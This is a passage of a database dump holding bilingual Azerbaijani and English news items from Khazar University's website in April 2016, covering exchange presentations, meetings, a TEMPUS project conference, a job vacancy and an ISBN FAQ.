və menecment fakültəsinin tələbələri üçün nəzərdə\r\ntutulmuşdu və iki hissədən ibarət idi: Polşadakı mübadilə proqramları və Polşa\r\nhaqqında məlumat.</p>\r\n<p>İlk olaraq, Beynəlxalq\r\nƏlaqələr Şöbəsinin direktoru Turan Cəfərova təqdimata başladı və Polşadakı\r\nmübadilə proqramları, xüsusən də, seçim şərtləri, tədris proqramları və seçim\r\nprosesi haqqında məlumat verdi. Hazırda Xəzər Universitetində müstəqil tədqiqatçı\r\nkimi fəaliyyət göstərən polşalı\r\nYuliya Krajcarz isə Polşa barəsində təqdimat keçirdi. O, öz ölkəsi, onun\r\npaytaxtı və əsas görməli yerləri, görkəmli polşalılar və s. haqqında danışdı.</p>\r\n<p>Təqdimat sual-cavab\r\nsessiyası ilə başa çatdı.</p><p><span style=\"background:#ffffff\">Hal-hazırda\r\nXəzər Universitetində Varşava Biznes Məktəbinin magistr tələbəsi bir semestrlik\r\nmübadilədə iştirak edir – Anna Qozdziyevi</span><span lang=\"AZ-LATIN\" style=\"background:#ffffff\">ç</span><span lang=\"AZ-LATIN\" style=\"background:#ffffff\"> </span><span style=\"background:#ffffff\">Beynəlxalq iqtisadi münasibətlər\r\nproqramının ikinci kurs tələbəsidir. Bu mübadilə iki universitet arasında\r\nimzalanmış ikitərəfli müqavilə əsasında mümkün olmuşdur.</span><o:p></o:p></p> <p><br></p>'),(1479,929,'az','TİKA-da görüş oldu',' 2016-cı il aprelin 14-də Xəzər Universitetinin rektoru professor Hassan Niknafs, Tədris işləri üzrə prorektor professor Məhəmməd Nuriyev və İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli  TİKA-nın  (Türk Əməkdaşlıq Koordinasiya Agentliyi) Bakı ofisini ziyarət etdilər və ofisin rəhbəri Mustafa Haşim Polatla görüşdülər. ','<p>&nbsp;2016-cı il aprelin 14-də Xəzər\r\nUniversitetinin rektoru professor Hassan Niknafs, Tədris işləri üzrə prorektor\r\nprofessor Məhəmməd Nuriyev və İctimai əlaqələr və media üzrə direktor Əlövsət\r\nƏmirbəyli &nbsp;TİKA-nın &nbsp;(Türk Əməkdaşlıq Koordinasiya Agentliyi) Bakı\r\nofisini ziyarət etdilər və ofisin rəhbəri Mustafa Haşim Polatla görüşdülər.\r\nGörüş zamanı universitetlə TİKA arasında gələcək perspektiv layihələrin müzakirəsi\r\nkeçirildi. Bakı ofisinin koordinatoru M.Polat yaxın zamanlarda universiteti\r\nziyarət edəcəyini və TİKA-nın kitablarını hədiyyə edəcəyini bildirdi.</p>\r\n<p>H.Niknafs səmimi görüş üçün\r\nTİKA-nın Bakı ofisinin rəhbərinə dərin təşəkkürünü bildirdi.</p>'),(1480,928,'en','Presentation on Exchange Opportunities in Poland','On April 13, 2016, the International Affairs Office organized a presentation about current exchange opportunities in Warsaw School of Economics, a partner university in Poland.','<p>On April 13, 2016, the International\r\nAffairs Office organized a presentation about current exchange opportunities in\r\nWarsaw School of Economics, a partner university in Poland. The presentation\r\nwas conducted for students from the School of Economics and Management and\r\nconsisted of two parts: information about exchange opportunities and\r\ninformation about Poland. </p>\r\n<p>Ms. Turan Jafarova, Director of the\r\nInternational Affairs Office, opened the presentation and provided information\r\nabout the current exchange opportunities in Poland, particularly including\r\neligibility criteria, study programs, and selection processes. Ms. Juliya\r\nKrajcarz, an independent researcher from Poland who is currently hosted at\r\nKhazar University, presented information about Poland. She spoke about her home\r\ncountry, its capital city and its major attractions, prominent Polish people,\r\netc.</p>\r\n<p>The presentation ended with a question and\r\nanswer session.</p><p><span style=\"background:#ffffff\">Currently,\r\nKhazar University hosts one student from the Warsaw School of Economics - Anna\r\nGozdziewicz,&nbsp; a second year master student of International Economic\r\nRelations. This one semester-long exchange was possible within the bilateral\r\nagreement signed between the two universities.</span> <o:p></o:p></p> <p><br></p>'),(1481,927,'en',' Khazar Musical Ensembles Participate in National Festival','In March and April, the Ministry of Education of the Azerbaijan Republic and Azerbaijan Educational Workers’ Public Union National Committee jointly organized an arts festival in honor of the 93rd birthday of National Leader Heydar Aliyev. ','<p>In\r\nMarch and April, the Ministry of Education of the Azerbaijan Republic and Azerbaijan\r\nEducational Workers’ Public Union National Committee jointly organized an arts\r\nfestival in honor of the 93<sup>rd</sup> birthday of National Leader Heydar\r\nAliyev. The competition jury of the festival was led by People’s Artist\r\nFirangiz Alizade, Chairman of Azerbaijan Composer’s Union. </p>\r\n<p>On\r\nApril 12, three ensembles (Khazar University, Odlar Yurdu University, and\r\nAzerbaijan State Marine Academy) performed before the jury in the World Concert\r\nHall of Khazar University. Khazar University’s ensembles are participating in\r\nfive categories of the competition: national dance, modern dance, vocal\r\nperformance, stage performance, and choir. </p>\r\n<p>The\r\nwinners will be announced within the first ten days of May.&nbsp;</p>'),(1482,930,'az','“Dünya”nın müəllimi müsahibə verdi','2016-cı il aprelin 13-də Milli.Az saytı Dövlət Pantomima Teatrının aktyoru və direktoru, əməkdar artist Elman Rəfiyevlə müsahibəni yaınlamışdır. Müsahibədə E.Rəfiyev uzun illər Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində çalışdığını vurğulayır.','<p>2016-cı il aprelin 13-də <strong><em>Milli.Az</em></strong>\r\nsaytı Dövlət Pantomima Teatrının aktyoru və direktoru, əməkdar artist Elman Rəfiyevlə\r\nmüsahibəni yaınlamışdır. Müsahibədə E.Rəfiyev uzun illər Xəzər Universitetinin\r\nnəzdində fəaliyyət göstərən “Dünya” məktəbində çalışdığını vurğulayır.</p>\r\n<p>Müsahibəni tam şəkildə bu linklər vasitəsilə\r\noxumaq olar:</p>\r\n<p><a href=\"http://news.milli.az/culture/420559.html\">http://news.milli.az/culture/420559.html</a>;</p>\r\n<p><a href=\"http://xebervar.com/xebervar-elman-refiyev-erotik-calarlari-daha-ustuortulu-t86621.html\">http://xebervar.com/xebervar-elman-refiyev-erotik-calarlari-daha-ustuortulu-t86621.html</a>.&nbsp;</p>'),(1483,930,'en','Dunya School Teacher Gives Interview','On April 13, 2016, the Milli.az news site published an interview with Elman Rafiyev, Director and Actor of the State Pantomime Theater. In the interview, Rafiyev emphasized that he works at Khazar University’s affiliate Dunya School.','<p>On\r\nApril 13, 2016, the Milli.az news site published an interview with Elman\r\nRafiyev, Director and Actor of the State Pantomime Theater. In the interview,\r\nRafiyev emphasized that he works at Khazar University’s affiliate Dunya School.\r\n</p>\r\n<p>The\r\nfull text of the interview is available at the following links: </p>\r\n<p><a href=\"http://news.milli.az/culture/420559.html\">http://news.milli.az/culture/420559.html</a>;</p>\r\n<p><a href=\"http://xebervar.com/xebervar-elman-refiyev-erotik-calarlari-daha-ustuortulu-t86621.html\">http://xebervar.com/xebervar-elman-refiyev-erotik-calarlari-daha-ustuortulu-t86621.html</a>. </p>\r\n<p>&nbsp;</p>'),(1484,931,'az','Bakı Bərk Məişət Tullantılarının Yandırılması zavodunda oldular','2016-cı il aprelin 14-də Təhsil fakültəsinin “Ekologiya” ','<p>2016-cı il aprelin 14-də Təhsil fakültəsinin\r\n“Ekologiya” (<em>Environmental Science</em>) kursunu keçən tələbələri Coğrafiya və\r\nətraf mühit departamentinin təşkilatçılığı ilə Bakı Bərk Məişət Tullantılarının\r\nYandırılması zavodunda (<em>Baku Municipal Solid Waste Incineration Plant</em>)\r\noldular və təcrübə keçdilər.</p>\r\n<p>&nbsp;</p>'),(1485,931,'en','Field Trip to Baku Municipal Solid Waste Incineration Plant','On April 14, 2016, students of Khazar University’s Environmental Science class','<p>On April 14, 2016, students of Khazar\r\nUniversity’s Environmental Science class (School of Education) visited Baku\r\nMunicipal Solid Waste Incineration Plant with the coordination of the Department\r\nof Geography and the Environment. </p>\r\n<p>&nbsp;</p>'),(1486,929,'en','Meeting at TIKA','On April 14, 2016, Dr. Hasan Niknafs, Khazar University President; Professor Mahammad Nuriyev, Vice President of Khazar University for Academic Affairs; and Alovsat Amirbeyli, Director for Public Relations and Media, visited the Baku office of TIKA (Turkish Partnership Coordination Agency) and had a meeting with the office director, Mustafa Hasim Polat.','<p>On April 14, 2016, Dr. Hasan Niknafs, Khazar University\r\nPresident; Professor Mahammad Nuriyev, Vice President of Khazar University for\r\nAcademic Affairs; and Alovsat Amirbeyli, Director for Public Relations and\r\nMedia, visited the Baku office of TIKA (Turkish Partnership Coordination\r\nAgency) and had a meeting with the office director, Mustafa Hasim Polat. During\r\nthe meeting, they discussed prospects for future partnership between TIKA and\r\nKhazar University. M. Polat said he plans to visit the university and present\r\nTIKA books to the university in the near future. </p>\r\n<p>H.Niknafs expressed his appreciation to the administration\r\nof the TIKA Baku office for the meeting. </p>\r\n<p>&nbsp;</p>'),(1487,932,'az','Barama İnnovasiya və Sahibkarlıq layihəsinin təqdimatı keçirildi','2016-cı il aprelin 14-də Xəzər Universiteti Karyera Mərkəzinin təşkilatçılığı ilə Azercell-in Barama İnnovasiya və Sahibkarlıq layihəsinin təqdimatı keçirildi. ','<p>2016-cı il aprelin 14-də Xəzər Universiteti Karyera Mərkəzinin təşkilatçılığı\r\nilə <em>Azercell</em>-in Barama İnnovasiya və Sahibkarlıq layihəsinin təqdimatı\r\nkeçirildi. Layihədə innovativ ofislə, müxtəlif texniki dəstəklə, startup-ların\r\nbiznesə çevrilməsi üçün xüsusi individual proqramlar və<em> Azercell</em> tərəfindən\r\nİKT, hüquq, maliyyə, biznesin inkişafı və marketinq konsultasiyasının təmin\r\nedilməsi haqqında geniş məlumat verildi.</p>\r\n<p>Sonda tələbələri maraqlandıran suallar cavablandırıldı.</p>\r\n<p>&nbsp;</p>'),(1488,932,'en','Barama Innovation and Entrepreneurship Project Presentation','On April 14, 2016, the Khazar University Career Center organized a presentation of Azercell’s Barama Innovation and Entrepreneurship Project.','<p>On April 14, 2016, the Khazar University Career\r\nCenter organized a presentation of Azercell’s Barama Innovation and\r\nEntrepreneurship Project. The presentation covered special individual programs\r\nto help startups turn into businesses by providing innovative offices and\r\nvarious forms of technical support as well as legal, financial, business\r\ndevelopment and marketing consultations provided by Azercell. </p>\r\n<p>At the end of the event, students’ questions were\r\nanswered. </p>\r\n<p>&nbsp;</p>'),(1489,933,'az','PACT başa çatdı','2016-cı il aprelin 14-də Xəzər Universitetinin tərəfdaş olduğu “Layihə iştirakçılarının bacarıqlarının artırılması” (Project Actors Capacity Training) adlı Avropa Komissiyasının Tempus layihəsi çərçivəsində JW Marriott Abşeron otelində layihənin yekun hesabat konfransı keçirildi. ','<p margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2016-cı il aprelin 14-də Xəzər Universitetinin tərəfdaş olduğu “Layihə iştirakçılarının bacarıqlarının artırılması” (<em>Project Actors Capacity Training</em>) adlı Avropa Komissiyasının Tempus layihəsi çərçivəsində JW Marriott Abşeron otelində layihənin yekun hesabat konfransı keçirildi.&nbsp;Konfransda Xəzər Universitetinin rektoru professor Hassan Niknafs, Azərbaycan Erasmus Plus Ofisinin rəhbəri Pərviz Bağırov, Xəzər Universitetinin İnkişaf üzrə direktoru Raziyə İsayeva, Bakı Dövlət Universitetinin əməkdaşı Təranə Mahmudova layihə, layihənin nəticələri və onun Azərbaycan universitetləri üçün açdığı imkanlar haqqında iştirakçılara geniş məlumat verdilər.&nbsp;Həmçinin, Xəzər Universitetinin əməkdaşı Rima Məmmədova koordinatoru olduğu&nbsp;“Əlilliyi olan şəxslərin Azərbaycan ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” layihəsi haqqında konfrans iştirakçılarına məlumat verdi.&nbsp;2016-cı il aprelin 14-də Xəzər Universitetinin tərəfdaş olduğu “Layihə iştirakçılarının bacarıqlarının artırılması” (</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qonaq məruzəçi Çak Şeridan “Layihələrin idarə olunması təcrübəsi” təqdimatında Baki 1-ci Avropa Oyunlarının təşkili və idarə olunması haqqında danışdı.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Konfransda Xəzər Universitinin rəhbərliyi və əməkdaşları, Bakı Dövlət Universitetinin nümayəndələri və Azərbaycanın müxtəlif universitetlərindən qonaqlar iştirak edirdilər.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xəzər Universitetinin tərəfdaş olduğu bu layihənin koordinatoru Gürcüstan Respublikasının David Tvildiani adına Tibb Universitetidir.&nbsp;</p>'),(1490,934,'az','Xəbər saytları “Xəzər”in tərəfdaş olduğu layihədən yazdı','2016-cı il aprelin 14-də Xəzər Universitetinin tərəfdaş olduğu “Layihə iştirakçılarının bacarıqlarının artırılması” (Project Actors Capacity Training) adlı Avropa Komissiyasının Tempus layihəsi çərçivəsində JW Marriott Abşeron otelində layihənin yekun hesabat konfransı keçirildi. Xəbər saytlarının bir çoxu bu haqda məlumatı öz səhifələrində yerləşdirmişdir.','<p>2016-cı il aprelin 14-də Xəzər\r\nUniversitetinin tərəfdaş olduğu “Layihə iştirakçılarının bacarıqlarının\r\nartırılması” (<em>Project Actors Capacity\r\nTraining</em>) adlı Avropa Komissiyasının Tempus layihəsi çərçivəsində JW\r\nMarriott Abşeron otelində layihənin yekun hesabat konfransı keçirildi. Xəbər\r\nsaytlarının bir çoxu bu haqda məlumatı öz səhifələrində yerləşdirmişdir. Xəbəri\r\ntam şəkildə bu linklər vasitəsilə oxumaq olar:</p>\r\n<p><a href=\"http://metbuat.az/news/423813/bakida-temrus-layihesi-cercivesinde-konfrans-kecirilib.html\">http://metbuat.az/news/423813/bakida-temrus-layihesi-cercivesinde-konfrans-kecirilib.html</a>;</p>\r\n<p><a href=\"http://metbuat.az/news/423813/bakida-temrus-layihesi-cercivesinde-konfrans-kecirilib.html\">http://metbuat.az/news/423813/bakida-temrus-layihesi-cercivesinde-konfrans-kecirilib.html</a>;</p>\r\n<p><a href=\"http://azertag.az/xeber/Bakida_TEMRUS_layihesi_cherchivesinde_konfrans_kechirilib-942923\">http://azertag.az/xeber/Bakida_TEMRUS_layihesi_cherchivesinde_konfrans_kechirilib-942923</a>.</p>'),(1491,923,'en','Department Chair Makes Presentation at International Conference in Vatican','On April 11-12, 2016, Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, participated in an international conference entitled “On Caring for our Common Home: USA and Vatican Participation in Global Issues” held at the Vatican. Conference participants included ambassadors to the Vatican, representatives of the diplomatic body, leaders of various faith groups and representatives of international news agencies.','<p>On\r\nApril 11-12, 2016, Dr. Mukhtar Hajizada, Head of the Department of Political\r\nScience and International Relations at Khazar University, participated in an\r\ninternational conference entitled “On Caring for our Common Home: USA and\r\nVatican Participation in Global Issues” held at the Vatican. Conference\r\nparticipants included ambassadors to the Vatican, representatives of the\r\ndiplomatic body, leaders of various faith groups and representatives of\r\ninternational news agencies. </p>\r\n<p>The\r\nobjective of the conference was to hold a discussion on challenges issues in\r\nthe encyclical letter sent by Pope Francis on May 24, 2015 to the entire\r\nepiscopate of the Roman Catholic Church “On Caring for Our Common Home.” The\r\nencyclical letter expressed the Pope’s deep concerns over the environment,\r\nclimate change, decrease in biodiversity, low quality of human life, global\r\nequality, shortages of drinking water and other current problems. </p>\r\n<p>&nbsp;</p>\r\n<p>The\r\nconference was held in the Apostolic Palace of the Vatican under the\r\nchairmanship of Cardinal Peter Turkson. At the conference, Dr. Hajizada made a\r\npresentation entitled “Interfaith Tolerance and Multiculturalism in Azerbaijan”\r\nin which he spoke about the importance of multiculturalism in light of the\r\ncurrent global situation. He also noted the rights of various religious groups\r\nand ethnic minorities in Azerbaijan as well as their contributions to the\r\ncountry’s environment of tolerance. He explained that Azerbaijan is a secular\r\ngovernment, explaining its objective approach toward race and religion by\r\nciting examples from its legislation. </p>\r\n<p>&nbsp;</p>\r\n<p>During\r\ndiscussion after the presentation, Dr. Hajizada also shared his thoughts about\r\nthe events of early April including Armenian violation of the ceasefire along\r\nthe line of contact between Armenian and Azerbaijani armed forces; peace talks\r\nthat have not yet yielded progress; the current plight of Azerbaijani internally\r\ndisplaced peoples and refugees after Armenia forcefully removed its citizens of\r\nAzerbaijani descent; and the dilemma of using force. </p>\r\n<p>&nbsp;</p>'),(1492,935,'az','Effektli ünsiyyət qurmaq bacarıqları ilə bağlı təlim keçirildi','2016-cı il martın 17-də Xəzər Universiteti Karyera Mərkəzinin təşkilatçılığı ilə Uğur İnkişaf Mərkəzinin psixoloq-konsultantı Nərgiz Qaravəliyeva ilə təlim keçirildi.','<p>2016-cı il martın 17-də Xəzər Universiteti Karyera Mərkəzinin təşkilatçılığı ilə Uğur İnkişaf Mərkəzinin psixoloq-konsultantı Nərgiz Qaravəliyeva ilə təlim keçirildi. Təlimçi tələbələrə effektli ünsiyyət qurmaq bacarıqları haqqında məlumat verdi. Həmçinin, təlimdə ünsiyyət modelləri, insanlar arasında ünsiyyət, ünsiyyət sistemində əsas və vacib faktorlar, ünsiyyətdə “Sən” dili, “Mən” dili, effektli ünsiyyət qurmağa maneə törədən faktorlar mövzularına da toxunulmuşdur.</p><p>Sonda tələbələri maraqlandıran suallar cavablandırıldı.</p>'),(1493,935,'en','Training on Effective Relationship Building Skills','On March 17, 2016, the Khazar University Career Center organized a training with the leadership of Nargiz Garaveliyeva, psychologist and consultant for Ughur Inkishaf (Successful Development) Center.','<p>On March 17, 2016, the Khazar University Career Center organized a training with the leadership of Nargiz Garaveliyeva, psychologist and consultant for Ughur Inkishaf (Successful Development) Center. She taught students how to effectively build relationships. The training also covered relationship models, major factors in relationship building, “you” and “me” language in relationships, and factors that can hinder effective relationships.</p><p>Students’ questions were answered at the end of the event.&nbsp;</p>'),(1494,933,'en','PACT Project Completed','On April 14, 2016, the Final Dissemination Conference of the PACT (Project Actors Capacity Building) TEMPUS project was held at JW Marriott Hotel. ','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">On April 14, 2016, the Final\r\nDissemination Conference of the PACT (Project Actors Capacity Building) TEMPUS\r\nproject was held at JW Marriott Hotel. Khazar University was a partner\r\nuniversity in the project, which was supported by the European Commission.\r\nPresenters at the Dissemination Conference included Dr. Hasan Niknafs,\r\nPresident of the University; Parviz Baghirov, Director of the ERASMUS +\r\nNational Office for Azerbaijan; Raziya Isayeva, Development Director at Khazar;\r\nand Tarana Mahmudova of Baku State University. They gave information about the\r\nproject, its results, and opportunities it created for Azerbaijani\r\nuniversities. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Rima Mammadova, project manager\r\nof the “Establishment of a Foundation for the Integration of Disabled People\r\ninto HEIs of Azerbaijan” (ESFIDIP) TEMPUS project and coordinator of the Center\r\nfor Students with Disabilities at Khazar University, also made a presentation\r\nabout the project. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">The conference included a guest\r\nspeaker, Chuck Sheridan, who shared his experience in project management from\r\nthe first European Games in Baku. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Participants in the conference\r\nincluded administrators and staff members of Khazar University, Baku State\r\nUniversity and other universities of Azerbaijan. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">The project coordinator was David\r\nTvildiani Medical University of the Georgian Republic. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">&nbsp;</p>'),(1495,934,'en','Khazar University Project Noted on News Sites ','On April 14, 2016, the Final Dissemination Conference of the PACT (Project Actors Capacity Building) TEMPUS project was held at JW Marriott Hotel. Khazar University was a partner university in the project, which was supported by the European Commission.','<p>On\r\nApril 14, 2016, the Final Dissemination Conference of the PACT (Project Actors\r\nCapacity Building) TEMPUS project was held at JW Marriott Hotel. Khazar\r\nUniversity was a partner university in the project, which was supported by the\r\nEuropean Commission. Information about the Final Conference was published on\r\nseveral news websites; full text of the articles is available at the following\r\nlinks: </p>\r\n<p><a href=\"http://metbuat.az/news/423813/bakida-temrus-layihesi-cercivesinde-konfrans-kecirilib.html\">http://metbuat.az/news/423813/bakida-temrus-layihesi-cercivesinde-konfrans-kecirilib.html</a>;</p>\r\n<p><a href=\"http://metbuat.az/news/423813/bakida-temrus-layihesi-cercivesinde-konfrans-kecirilib.html\">http://metbuat.az/news/423813/bakida-temrus-layihesi-cercivesinde-konfrans-kecirilib.html</a>;</p>\r\n<p><a href=\"http://azertag.az/xeber/Bakida_TEMRUS_layihesi_cherchivesinde_konfrans_kechirilib-942923\">http://azertag.az/xeber/Bakida_TEMRUS_layihesi_cherchivesinde_konfrans_kechirilib-942923</a>.</p>\r\n<p>&nbsp;</p>'),(1496,936,'az','Kompüter müəllimi üzrə vakansiya elan olunur','Xəzər Universiteti Kompüter elmləri departamenti kompüter müəllimliyi üzrə vakansiya elan edir.','<p>Xəzər Universiteti Kompüter elmləri departamenti\r\nkompüter müəllimliyi üzrə&nbsp;vakansiya elan edir. Namizədlər arasında müsabiqə\r\nkeçiriləcək. Müsabiqə ölkədaxili namizədlər üçün nəzərdə tutulur.</p>\r\n<p>Müsabiqədə iştirak etmək üçün namizədlərdən aşağıdakı şərtlər tələb\r\nolunur:</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİxtisas üzrə ən\r\nazı magistratura diplomunun olması;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nElmi tədqiqat\r\nbacarığının olması;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİngilis dilində\r\ntədris bacarığının olması.</p>\r\n<p>&nbsp;</p>\r\n<p>Əlavə məlumat almaq üçün bu e-mail-ə müraciət edə və\r\nCV-nizi göndərə bilərsiniz: <a href=\"mailto:jmehri@khazar.org\" target=\"_blank\">jmehri@khazar.org</a>.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Vakansiyaya\r\nson müraciət tarixi Setyabr</strong><strong>ı</strong><strong>n1-idir</strong></p>'),(1497,937,'en','Symposium Materials Published as e-Book','The materials from the “Culture and Identity from the Perspective of the 21st Century” international symposium jointly organized...','The materials from the “Culture and Identity from the Perspective of the 21st Century” international symposium jointly organized by Erciyes University and Khazar University on May 26-28, 2014 are available as two-volume e-book. The materials are available at the following link:&nbsp;<a href=\"http://www.khazar.org/en/menus/667/_books\">http://www.khazar.org/en/menus/667/_books</a><div><br></div><div><a href=\"/files/image/simp%201-ci%20cild.pdf\">21-ci əsrin pəncərəsindən Mədəniyyət və Kimlik Beynəlxalq Simpoziumun materialları&nbsp;1</a>&nbsp;</div><div><br></div><div>&nbsp; <a href=\"/files/pdf/simp%20ii%20cild2.yeni.pdf\">21-ci əsrin pəncərəsindən Mədəniyyət və Kimlik Beynəlxalq Simpoziumun materialları&nbsp;2</a>  <br><a href=\"http://www.khazar.org/en/menus/667/_books\"></a><div><br></div></div>'),(1498,937,'az','Simpoziumun materialları elektron kitab şəklində hazırlandı','“21-ci əsrin pəncərəsindən  Mədəniyyət və Kimlik” adlı Beynəlxalq Simpoziumun materialları...','<p><strong>“21-ci əsrin pəncərəsindən &nbsp;Mədəniyyət və Kimlik”</strong>&nbsp;adlı Beynəlxalq Simpoziumun materialları 2 cilddə elektron kitab şəklində hazırlanmışdır.Materiallarla aşağıdakı linkdə tanış olmaq olar:&nbsp;</p><p><a href=\"http://www.khazar.org/az/menus/667/kitablar\">http://www.khazar.org/az/menus/667/kitablar</a></p><p><br></p><p><a href=\"http://www.khazar.org/files/image/simp%201-ci%20cild.pdf\">21-ci əsrin pəncərəsindən Mədəniyyət və Kimlik Beynəlxalq Simpoziumun materialları&nbsp;1</a>  <br></p><p><a href=\"/files/pdf/simp%20ii%20cild2.yeni.pdf\">21-ci əsrin pəncərəsindən Mədəniyyət və Kimlik Beynəlxalq Simpoziumun materialları&nbsp;2</a></p>'),(1499,938,'en',' ISBN Frequently Asked Questions',' ISBN Frequently Asked Questions','<p><strong>How to receive an ISBN in Azerbaijan?</strong></p><p>The Khazar University Press (KUP), as a National ISBN Agency of the Republic of Azerbaijan, is responsible for distribution of ISBNs within the country. &nbsp;In order to receive an ISBN you need to:</p><ol style=\"font-size:large\"><li>Mail or fax an official letter stating your desire to receive ISBN(s) for your title(s).</li><li>In reply, you will receive an ISBN Request Form, which you need to complete and mail or fax back to KUP. Download&nbsp;<a href=\"http://www.khazar.org/files/pdf/ISBN_Request_form%20(6).docx\">ISBN&nbsp;Request&nbsp;form</a></li><li>After we receive completed ISBN Request Form from you, we will send you an Invoice, requesting a fee payment for our services*. Download&nbsp;<a href=\"http://www.khazar.org/files/pdf/ISBN_Request_form%20(6).docx\">ISBN&nbsp;Request&nbsp;form</a></li><li>Within 2 business days, after you cover a service fee, you will receive a printout of the ISBN(s) in combination with the allocated publisher’s prefix.</li></ol><p><strong>How to register an ISBN in Azerbaijan?</strong></p><p>After you receive and allocate an ISBN to your title you must register it. &nbsp;In order to do so, you should complete and send to KUP an ISBN in Print Form, accompanied with three copies of each title where each ISBN is printed. &nbsp;It is the responsibility of KUP to maintain and control a database of registered ISBNs in Azerbaijan. Collected information is regularly sent to an International ISBN Agency.</p><p>More Frequently Asked Questions (FAQ) about ISBN:</p><p><strong>What is an ISBN?</strong></p><p>The International Standard Book Number (ISBN) is a 13-digit number that uniquely identifies books and book-like products published internationally.</p><p><strong>What is the purpose of an ISBN?</strong></p><p>The purpose of the ISBN is to establish and identify one title or edition of a title from one specific publisher and is unique to that edition, allowing for more efficient marketing of products by booksellers, libraries, universities, wholesalers and distributors.</p><p><strong>Why should I use an ISBN?</strong></p><p>If you are a publisher or bookseller it may be in your own interest as you want to sell books. If your books cannot be ordered and distributed by ISBN and if they are not listed in Books in Print you may find that your books do not sell: People will assume your books do not exist, and if they know they may consider it too much of a bother to handle them in a traditional fashion.</p><p><strong>In Azerbaijan the book-trade works mostly without computers.</strong></p><p>You do not have to have computers to make use of ISBN. The 13 digit number saves you and other people the bother of copying bibliographic records. Also if you want to export your books, without ISBN they will not have a chance of being listed in Books in Print.</p><p><strong>Azerbaijan still lacks an efficient infrastructure in the book-sector.</strong></p><p>Then ISBN is an ideal means of building the infrastructure and catch up with other countries.</p><p><strong>What is the format of an ISBN?</strong></p><p>Every ISBN consists of 13 digits and whenever it is printed it is preceded by the letters ISBN. The 13 digit number is divided into 5 parts of variable length, each part separated by a hyphen or a space (e.g. ISBN 978-9952-39-447-4 or ISBN 978 9952 39 447 4</p><p><strong>Does an ISBN have any meaning embedded&nbsp;in the numbers?</strong></p><p>The five parts of an ISBN are as follows:</p><ol style=\"font-size:large\"><li>Kind of &nbsp;product;</li><li>Group or country identifier which identifies a national or geographic grouping of publishers;</li><li>Publisher identifier which identifies a particular publisher within a group;</li><li>Title identifier which identifies a particular title or edition of a title;</li><li>Check digit is the single digit at the end of the ISBN, which validates the ISBN.</li></ol><p>ISBN is assigned by National ISBN Agencies world-wide coordinated by the International ISBN Agency. Khazar University Press, as a National ISBN Agency of the Republic of Azerbaijan is responsible for distributing ISBNs within the country.</p><p><strong>Who is eligible for an ISBN?</strong></p><p>National ISBN Agency assigns ISBNs at the direct request of publishers, audio cassette and video producers, software producers and museums and associations with publishing programs.</p><p><strong>How much does it cost to get an ISBN?</strong></p><p>There is a service fee to process all ISBN applications. Service fee information is contained on an ISBN Request Form.</p><p><strong>How long does it take to receive an ISBN?</strong></p><p>Allow 2 business days processing from the time an ISBN Request Form and service fee are received.</p><p><strong>What do I do when I receive the ISBN and where is it printed?</strong></p><p>An ISBN should be assigned to each title or product, including any backlist or forthcoming titles. Each format or binding must have a separate ISBN (i.e. hardcover, paperbound, VHS video, laserdisc, etc). A new ISBN is required for a revised edition. Once assigned, an ISBN can never be reused. An ISBN is printed on the verso of the title page (below the copyright line) and on the lower section of the outside back cover. &nbsp;When printing an ISBN on the verso of the title page, please add above the ISBN line the words:</p><p>National ISBN Agency of the Republic of Azerbaijan</p><p>Khazar University Press</p><p>41 Mehseti St., Baku Az1096</p><p><strong>How &amp; where do I register my ISBN?</strong></p><p>Once ISBNs have been assigned to products they should be reported to Khazar University Press as the database of record for the ISBN Agency. Companies are eligible for a free listing in various directories to be published by Khazar University Press.</p><p><strong>Does a new title require a new ISBN?</strong></p><p>Yes, you need a new ISBN for a new title.</p><p><strong>I am revising a book. Does it require a new ISBN?</strong></p><p>A (substantial) change of text requires a new ISBN, and if revisions have been made the back of the title page should state that the book is a revised edition, and the new ISBN should be printed there.</p><p><strong>Does a reprint without change of text, or binding require a new ISBN?</strong></p><p>No. The original number must be retained.</p><p><strong>I would like to issue a new ISBN for marketing reasons. Is this permissible?</strong></p><p>No. There is no change of text, format or binding which would justify a new ISBN.</p><p><strong>I am reprinting a book with a price change. Is a new ISBN required?</strong></p><p>No. A price change does not require a new ISBN.</p><p><strong>Do I need a new ISBN when I am reprinting a book with a new title?</strong></p><p>Yes, a new title requires a new ISBN.</p><p><strong>What happens if I have used all the numbers under my prefix?</strong></p><p>An additional prefix can be assigned – allowing for a larger output if necessary. This is an additional prefix, and not a replacement.</p><p><strong>Is it possible to reassign ISBNs when the books to which they were allocated are out of 